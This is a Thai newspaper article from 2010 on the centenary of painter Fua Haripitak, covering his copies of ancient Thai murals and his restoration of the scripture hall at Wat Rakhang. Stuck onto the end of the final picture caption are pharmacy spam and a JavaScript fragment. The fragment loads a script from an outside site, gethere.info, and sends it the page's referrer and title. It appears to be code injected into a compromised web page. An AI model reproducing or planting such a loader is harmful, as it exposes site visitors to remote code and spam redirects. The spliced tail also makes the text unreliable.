หนังสือพิมพ์มติชน ฉบับวันพฤหัสบดีที่ 22 เมษายน พ.ศ. 2553

ก่อนจะเป็นอาจารย์เฟื้อ หริพิทักษ์ของประเทศไทย มีคำบอกเล่าจากท่านอังคาร กัลยาณพงศ์ พิมพ์อยู่ในหนังสือปาจารยสาร(ฉบับที่ 6 ปีที่ 33)(ม.ค.-ก.พ. 2553 หน้า 115-116) ว่า

“อาจารย์เฟื้อ หริพิทักษ์ ได้รับแรงบันดาลใจ แรงอารมณ์สะเทือนใจที่ได้รู้เห็นทางฝ่ายศานตินิเกตัน ได้วิจัยวิจารณ์คุณค่า ได้คัดลอกจำลองจิตรกรรมจากถ้ำสำคัญชื่อว่าถ้ำอชันตา ถ้ำปูชนียสถานสำคัญยิ่งทางบวรพุทธศาสนา

อาจารย์เฟื้อเกิดแรงอารมณ์สะเทือนใจ คิดถึงคุณค่าศิลปกรรมวัฒนธรรมของชาติไทย คิดถึงความสำคัญของของศิลปสยาม—–ได้เริ่มคัดลอกรูปเรือนแก้วขององค์พระประธานในวัดมหาธาตุแห่งกรุงศรีอยุธยา ตอนนั้นยังรกร้างเป็นป่าไม้หลายชนิด มีงูเห่าขนาดลำแขนใหญ่ขึ้นมานอนอาบแสงแดด

อาจารย์เฟื้อได้ชักชวนหนุ่มอังคาร กัลยาณพงศ์ ไปเป็นจิตรกรผู้ช่วยคัดลอกจำลองจิตรกรรมโบราณในสถูปเจดีย์ ณ กรุงศรีอยุธยา 

 แรกเริ่มงานคัดลอกจิตรกรรมในตำหนักพระพุทธโฆษาจารย์ แห่งวัดพุทไธสวรรย์ พำนักอยู่ที่ศาลาการเปรียญวัดพุทไธสวรรย์——”

น. ณ ปากน้ำ(อาจารย์ประยูร อุลุชาฏะ) ยกย่องงานคัดลอก จึงเห็นว่าผู้บริหารมหาวิทยาลัยศิลปากร ควรจัดสถานที่เป็น“มิวเซียม”ติดตั้งผลงานคัดลอกจิตรกรรมไทยโบราณฝืมืออาจารย์เฟื้อให้เป็นแหล่งเรียนรู้และแหล่งผลิตพลังสร้างสรรค์งาน “ร่วมสมัย”

         

“ควรมีสถานที่อีกแห่งหนึ่งติดตั้งผลงานคัดลอกจิตรกรรมไทยโบราณของอาจารย์เฟื้อ โดยจัดแสดงถาวรเพื่อเป็นการศึกษา เพื่อเป็นเครื่องเตือนใจนักศึกษาให้ได้เห็นความสำคัญในศิลปกรรมโบราณของชาติตน ก็จะเป็นการกระทำอันน่าสรรเสริญที่สุด

ข้าพเจ้าจึงเพียงแต่หวังว่า สักวันหนึ่ง มหาวิทยาลัยศิลปากรคงจะเห็นด้วยกับข้อเสนอนี้” | น.ณ ปากน้ำ

 

ส. ศิวรักษ์ เขียน แด่เฟื้อ หริพิทักษ์  ไว้ในหนังสือปาจารยาสาร มีความตอนหนึ่งว่า

“เฟื้อ หริพิทักษ์ จักมีอายุครบศตวรรษ ณ วันที่ 22 เมษายน 2553 ——

เฟื้อ เป็นศิลปินที่ประเสริฐสุดแห่งยุคนฤมิตกรรมของเขา มีความเป็นเลิศที่เทียบได้กับจิตรกรเอกในนานาชาติ หากเขายอมสละเอตทัคคะในทางนี้ เพื่อหันมาอนุรักษ์จิตรกรรมไทยในอดีตโดยทุ่มเทชีวิตและจิตใจให้อย่างเต็มที่ นับเป็นการสืบสานกระแสธารทางวัฒนธรรมของสยามอย่างสำคัญยิ่ง

แต่ชนชั้นบนของไทยแทบไม่เห็นคุณค่าอันวิเศษนี้ เพียงหอไตรวัดระฆัง อันเป็นนิเวศสถานเดิมของต้นราชวงศ์จักรีแห่งเดียว ถ้าไม่มี เฟื้อ หริพิทักษ์ เสียแล้วจะได้รับการอนุรักษ์อย่างสง่างามยิ่งได้อย่างไร

แต่แล้วหอไตรนี้ ก็ดุจดังศิลปกรรมอื่นๆที่เขาอนุรักษ์ไว้ คือถูกทอดทิ้งให้เสื่อมโทรมไปอย่างน่าอัปยศนัก ถ้าเราจะบูชาคุณ เฟื้อ หริพิทักษ์ ให้ถูกต้อง ควรต้องอนุรักษ์งานของเขาให้สมสมัยสืบๆไป เพื่อเป็นเกียรติเป็นศรีของบ้านเมือง ที่มีความงาม ควบคู่ไปกับความดี และความจริง”

————

“จะเริ่มงาน ณ หอไตร วัดระฆัง เช้าวันที่ 22 เมษายน 2553”

———–

หอไตรวัดระฆังที่อาจารย์เฟื้อลงมืออนุรักษ์ด้วยตนเองนี้ แท้จริงคือเรือน หรือหอนอนของรัชกาลที่ 1 เมื่อยังมีนิวาสสถานอยู่บริเวณทางใต้วัดระฆังฯ ตรงกรมอู่ทหารเรือทุกวันนี้ ครั้นเสวยราชย์แล้วถวายให้วัด

ควรมีเอกสารบางๆอธิบายแบ่งปันเผยแพร่ความรู้เรื่องอย่างนี้ แต่ไม่ เคยมี

(ซ้ายบน) พระพุทธบาทกลางน้ำ ภาพคัดลอกจิตรกรรมฝาผนังสมัยอยุธยาตอนปลาย ภายในตำหนักสมเด็จพระพุทธโฆษาจารย์ วัดพุทไธสวรรย์ จ. พระนครศรีอยุธยา เฟื้อ หริพิทักษ์ คัดลอกไว้เมื่อ พ.ศ. 2494 ขนาด 121.5 x 91 ซม. นับเป็นงานคัดลอก “พุทธศิลป์” ชั้นเลิศ ถ้าหากไม่ได้คัดลอกเก็บไว้ อาจจะถูกทำลายไปสิ้นแล้วก็เป็นได้ ชมได้ที่หอศิลป์เจ้าฟ้า (ซ้ายล่าง) พระอดีตพระพุทธเจ้า ภาพคัดลอกจิตรกรรมฝาผนัง พุทธศตวรรษที่ 19 ภายในวัดเจดีย์เจ็ดแถว จ. สุโขทัย เฟื้อ   หริพิทักษ์ คัดลอกไว้ ขนาด 89 x 60 ซม. เมื่อ พ.ศ. 2501 ชมได้ที่หอศิลป์เจ้าฟ้า (ขวาบน) กำแหงหนุมาน ฝีมือ “พระอาจารย์นาค” ภาพเขียนบนฝากระดานที่หอกลาง หอพระไตรปิฎก วัดระฆังโฆสิตาราม เฟื้อ หริพิทกษ์ เป็นผู้ถ่ายภาพนี้ให้สุลักษณ์ ศิวรักษ์ ใช้เป็นปกสังคมศาสตร์ปริทัศน์ ปีที่ 6 ฉบับที่ 4 : มกราคม พ.ศ. 2512 (ขวาล่าง) พระอดีตพุทธะ ภาพคัดลอกจิตรกรรมฝาผนังสมัยอยุธยาตอนต้น ราวปลายพุทธศตวรรษที่ 20 ภายในกรุพระปรางค์วัดราชบูรณะ จ. พระนครศรีอยุธยา เฟื้อ หริพิทักษ์คัดลอก ขนาด 163 x 121 ซม. เมื่อ พ.ศ. 2490 ชมได้ที่หอศิลป์เจ้าฟ้า (รูปและคำอธิบายทั้งหมดปรับปรุงจาก สิงห์สนามหลวง ในเนชั่นสุดสัปดาห์ ฉบับวันที่ 16 เมษายน 2553 หน้า 53)fluoxetine 10 mg price cheap female cialis onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;